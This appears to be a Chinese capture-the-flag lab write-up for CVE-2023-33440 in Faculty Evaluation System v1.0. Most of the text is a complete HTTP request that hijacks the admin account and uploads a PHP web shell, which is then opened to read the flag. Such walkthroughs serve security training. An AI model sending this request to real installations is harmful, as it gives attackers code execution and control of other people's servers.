春秋云境 | 文件上传 | CVE-2023-33440

靶标介绍

Faculty Evaluation System v1.0 存在未授权任意文件上传漏洞漏洞

开启靶场

页面如下

目录扫描

使用御剑扫描

访问下面这个链接

http://eci-2ze0lpvzvikzi704zsn3.cloudeci1.ichunqiu.com/login.php

需要登录，暂且不登录，直接刷新页面抓包，发送到 repeater

修改 POC

注意：Host 和 referer 参数中的域名使用自己抓包抓到的数据

POST /ajax.php?action=update_user HTTP/1.1
Host: eci-2ze0lpvzvikzi704zsn3.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://eci-2ze0lpvzvikzi704zsn3.cloudeci1.ichunqiu.com/index.php
Content-Length: 752
Content-Type: multipart/form-data; boundary=---------------------------166782539326470
Connection: close

-----------------------------166782539326470
Content-Disposition: form-data; name="id"

1
-----------------------------166782539326470
Content-Disposition: form-data; name="firstname"

Administrator
-----------------------------166782539326470
Content-Disposition: form-data; name="lastname"

a
-----------------------------166782539326470
Content-Disposition: form-data; name="email"

admin@admin.com
-----------------------------166782539326470
Content-Disposition: form-data; name="password"

admin
-----------------------------166782539326470
Content-Disposition: form-data; name="img"; filename="php.php"
Content-Type: application/octet-stream

<?php system("cat /flag");?>
-----------------------------166782539326470--

获取 flag

响应包中的 avatar 拼接到 URL 后面访问，然后得到了 flag

/assets/uploads/1722769380_php.php